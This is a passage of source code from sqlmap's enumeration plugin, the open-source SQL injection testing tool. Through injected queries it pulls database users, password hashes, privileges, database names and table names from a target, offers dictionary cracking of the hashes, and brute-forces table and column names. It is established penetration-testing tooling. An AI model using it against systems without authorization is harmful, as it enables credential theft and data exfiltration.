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sqlmap/plugins/generic/enumeration.py
Miroslav Stampar ca0d068575 distinguishing NULL from BLANK
2012-03-14 13:52:23 +00:00

2458 lines
102 KiB
Python
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#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from extra.safe2bin.safe2bin import safechardecode
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import filterPairValues
from lib.core.common import getLimitRange
from lib.core.common import getUnicode
from lib.core.common import isInferenceAvailable
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeWarnMessage
from lib.core.common import strToHex
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import utf8decode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.dicts import firebirdTypes
from lib.core.dicts import mysqlPrivs
from lib.core.dicts import pgsqlPrivs
from lib.core.dicts import firebirdPrivs
from lib.core.dicts import db2Privs
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
from lib.core.settings import BLANK
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
from lib.core.settings import CURRENT_DB
from lib.core.settings import MAX_INT
from lib.core.settings import NULL
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.core.threads import getCurrentThreadData
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.techniques.brute.use import columnExists
from lib.techniques.brute.use import tableExists
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self):
kb.data.has_information_schema = False
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.cachedCounts = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
def getBanner(self):
if not conf.getBanner:
return
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
if Backend.isDbms(DBMS.DB2):
rootQuery = queries[DBMS.DB2].banner
for query in (rootQuery.query, rootQuery.query2):
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
if kb.data.banner:
break
else:
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
bannerParser(kb.data.banner)
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set(["Windows"])
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set(["Linux"])
elif conf.os:
kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])])
if conf.os:
setOs()
return kb.data.banner
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].current_user.query
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
return kb.data.currentUser
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].current_db.query
if not kb.data.currentDb:
kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
return kb.data.currentDb
def isDba(self, user=None):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL):
self.getCurrentUser()
query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
else:
query = queries[Backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query)
kb.data.isDba = unArrayizeValue(inject.getValue(query, charsetType=CHARSET_TYPE.BINARY))
return kb.data.isDba == "1"
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
kb.data.cachedUsers = arrayizeValue(value)
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False, error=False)
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
# password = "0x%s" % strToHex(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
for user, password in filterPairValues(value):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
password = "0x%s" % strToHex(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False)
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (most probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
raise sqlmapNoneDataException, errMsg
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges)
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges)
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges)
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= (Backend.isDbms(DBMS.FIREBIRD) and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges)
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
# Set containing the list of DBMS administrators
areAdmins = set()
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
values = inject.getValue(query, blind=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if not isNoneValue(values):
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
if int(privilege) == 1:
privileges.add(pgsqlPrivs[count])
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
if privilege.upper() == "Y":
privileges.add(mysqlPrivs[count])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if user in kb.data.cachedUsersPrivileges:
kb.data.cachedUsersPrivileges[user].extend(privileges)
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = " LIKE "
else:
conditionChar = "="
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
retrievedUsers = set()
for user in users:
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = "%%%s%%" % user
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
privileges = set()
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user, index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
privilege = inject.getValue(query, inband=False, error=False)
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs.items():
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs.items():
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(firebirdPrivs[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
break
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return (kb.data.cachedUsersPrivileges, areAdmins)
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead"
logger.warn(warnMsg)
return self.getPrivileges(query2)
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = None
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.ORACLE):
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
elif Backend.isDbms(DBMS.DB2):
warnMsg = "schema names are going to be used on IBM DB2 "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
if infoMsg:
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
kb.data.cachedDbs = arrayizeValue(value)
if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False, error=False)
if db:
kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
else:
kb.data.cachedDbs.sort()
return kb.data.cachedDbs
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return tableExists(paths.COMMON_TABLES)
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition:
if conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
elif not Backend.isDbms(DBMS.SQLITE):
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in sorted(dbs))
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
value = inject.getValue(query, blind=False)
if not isNoneValue(value):
value = filter(None, arrayizeValue(value))
if len(value) > 0 and not isinstance(value[0], (list, tuple)):
value = map(lambda x: (dbs[0], x), value)
for db, table in filterPairValues(value):
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(table, True)
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
tables = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = inject.getValue(query, inband=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the table names "
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
else:
raise sqlmapNoneDataException, errMsg
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common columns existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
